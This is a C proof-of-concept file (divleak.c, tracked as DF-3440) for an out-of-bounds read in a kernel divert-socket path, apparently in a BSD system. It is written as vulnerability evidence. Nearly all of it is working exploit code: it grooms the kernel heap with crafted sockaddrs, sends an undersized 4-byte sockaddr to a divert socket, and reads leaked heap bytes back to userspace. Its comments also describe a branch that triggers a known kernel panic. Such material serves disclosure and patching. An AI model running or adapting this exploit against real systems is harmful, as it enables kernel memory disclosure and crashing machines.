DF-3440 / divleak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 | /* * divleak.c - DF-3440 evidence: div_output() reads sin->sin_port * (offset 4..8) and sin->sin_addr (offset 8..12) from a user-supplied * sockaddr allocated with as few as 4 bytes (getsockaddr, * kern/uipc_syscalls.c:1513). div_send/div_output perform no length * validation (sys/netinet/ip_divert.c:317-373). * * Leak readback chain: * 1. groom: sendto(udp, ..., 8-byte sockaddr, 8) -> kmalloc(8) chunk * whose bytes 4..6 (sin_port slot) are the canary, then freed. * 2. sendto(divert, packet, ..., 4-byte sockaddr, 4) -> LIFO reuse of * that 8-byte chunk; the user supplied only bytes 0..4. * 3. div_output() reads sin_port = canary (2 bytes OUT OF BOUNDS) * into divinfo->skipto and reinjects the packet. * 4. an ipfw2 "divert" rule catches the reinjected packet and * div_packet() copies divinfo->skipto into divsrc.sin_port of the * sockaddr delivered to the divert-socket reader. * 5. recvfrom() on the divert socket: sin_port == canary proves the * kernel read heap bytes from beyond the 4-byte user allocation * and passed them to userspace. * * NB: if div_output() takes the INPUT branch (sin_addr read OOB from * the adjacent chunk is nonzero), the reinjected packet enters * ip_input() with rcvif == NULL and the divert rule triggers the * (independently known) DF-0645 NULL-deref panic. A panic here is * itself proof that the branch was chosen by out-of-bounds bytes. * * root only (divert socket + ipfw). Run: ./divleak */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #ifndef IPPROTO_DIVERT #define IPPROTO_DIVERT 258 #endif #define DIVPORT 8675 #define CANARY_PORT 0x0022 /* small so the ipfw resume stays < 100 */ static int dfd, ufd; static void mkpkt(unsigned char *pkt, size_t len) { struct ip *ip = (struct ip *)pkt; memset(pkt, 0, len); ip->ip_v = 4; ip->ip_hl = 5; ip->ip_len = htons(len); ip->ip_ttl = 64; ip->ip_p = 1; inet_pton(AF_INET, "127.0.0.1", &ip->ip_src); inet_pton(AF_INET, "127.0.0.1", &ip->ip_dst); pkt[20] = 8; /* ICMP echo request */ /* leave ip_sum 0; loopback/divert path does not reject it */ } int main(void) { unsigned char pkt[48]; unsigned char tiny[4]; unsigned char gsa[8]; struct sockaddr_in full; struct sockaddr_in from; socklen_t flen; char buf[2048]; ssize_t n; int i, seen = 0; if ((dfd = socket(AF_INET, SOCK_RAW, IPPROTO_DIVERT)) < 0 || (ufd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { fprintf(stderr, "socket: %s (need root)\n", strerror(errno)); return 1; } /* bind divert socket to the divert port so we can read back */ memset(&full, 0, sizeof(full)); full.sin_len = sizeof(full); full.sin_family = AF_INET; full.sin_port = htons(DIVPORT); if (bind(dfd, (struct sockaddr *)&full, sizeof(full)) < 0) { fprintf(stderr, "bind divert: %s\n", strerror(errno)); return 1; } mkpkt(pkt, sizeof(pkt)); /* groom chunk: 8-byte sockaddr with canary at bytes 4..6 */ memset(gsa, 0, sizeof(gsa)); gsa[0] = 8; gsa[1] = AF_INET; gsa[4] = (CANARY_PORT >> 8) & 0xff; /* network order */ gsa[5] = CANARY_PORT & 0xff; gsa[6] = 0x55; sendto(ufd, "g", 1, 0, (struct sockaddr *)gsa, sizeof(gsa)); /* the under-sized destination sockaddr: 4 bytes only */ memset(tiny, 0, sizeof(tiny)); tiny[0] = 4; tiny[1] = AF_INET; /* re-groom right before each shot (LIFO reuse) */ for (i = 0; i < 6 && !seen; i++) { sendto(ufd, "g", 1, 0, (struct sockaddr *)gsa, sizeof(gsa)); n = sendto(dfd, pkt, sizeof(pkt), 0, (struct sockaddr *)tiny, sizeof(tiny)); printf("shot %d: sendto=%zd errno=%d\n", i, n, errno); usleep(300000); flen = sizeof(from); n = recvfrom(dfd, buf, sizeof(buf), MSG_DONTWAIT, (struct sockaddr *)&from, &flen); if (n > 0) { printf("READBACK: %zd bytes; from.sin_port = 0x%04x " "sin_addr=%08x (canary 0x%04x => %s)\n", n, ntohs(from.sin_port), (unsigned)ntohl(from.sin_addr.s_addr), CANARY_PORT, ntohs(from.sin_port) == CANARY_PORT ? "OOB HEAP BYTES LEAKED TO USERSPACE" : "other"); seen = 1; } else { printf(" no divert readback yet (%s)\n", strerror(errno)); } } if (!seen) printf("no readback (packet may have taken the INPUT path " "and tripped DF-0645, or missed the rule)\n"); return seen ? 0 : 2; } |